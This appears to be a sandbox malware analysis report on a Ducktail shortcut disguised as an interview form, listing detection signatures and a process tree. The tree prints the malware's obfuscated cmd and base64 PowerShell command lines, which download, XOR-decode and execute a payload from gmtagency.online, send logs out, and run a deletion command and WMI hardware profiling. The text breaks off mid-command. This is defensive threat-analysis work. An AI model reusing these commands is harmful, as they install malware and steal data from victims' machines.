Edit tour

Windows Analysis Report
Online Interview Scheduling Form.lnk

Overview

General Information

Sample name:	Online Interview Scheduling Form.lnk
Analysis ID:	1556140
MD5:	c29d629ec1db6e91d1bc4bec2e19d42a
SHA1:	ea967f69a5ac4621f24bebf33f640768915eba68
SHA256:	22f42cc0ca736ea1b9dda6416462f739a0db44297fa6a390365f36dc23f58a58
Infos:

Detection

Ducktail

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Ducktail

AI detected suspicious sample

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Obfuscated command line found

Potential dropper URLs found in powershell memory

PowerShell case anomaly found

Powershell drops PE file

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: PowerShell Base64 Encoded WMI Classes

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Yara detected Obfuscated Powershell

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file contains strange resources

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Execution of Powershell with Base64

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 3528 cmdline: "C:\Windows\system32\cmd.exe" /v /k "St^art /mIn "" pow^er^S^H^Ell -n^Ol^o^go -NO^P -e^p B^y^P^ass -EN^CO^De^d^cOM^MA^nd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA=="" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5264 cmdline: powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA==" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6204 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

csc.exe (PID: 320 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 5596 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4DCB.tmp" "c:\Users\user\AppData\Local\Temp\lsozgnau\CSCDC8C4E3F93914FB7BA165C9B4C26D24F.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 6048 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WINWORD.EXE (PID: 3652 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Online Interview Scheduling Form.docx" /o "" MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

cmd.exe (PID: 6564 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3372 cmdline: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7996 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

svchost.exe (PID: 7432 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svczHost.exe (PID: 6164 cmdline: C:\Windows\Temp\svczHost.exe cakoi1 gmtagency.online MD5: EB57894A8FF610DF55C97E427D0DDD7B)

conhost.exe (PID: 5236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4748 cmdline: "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 5596 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1408 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

powershell.exe (PID: 1784 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAA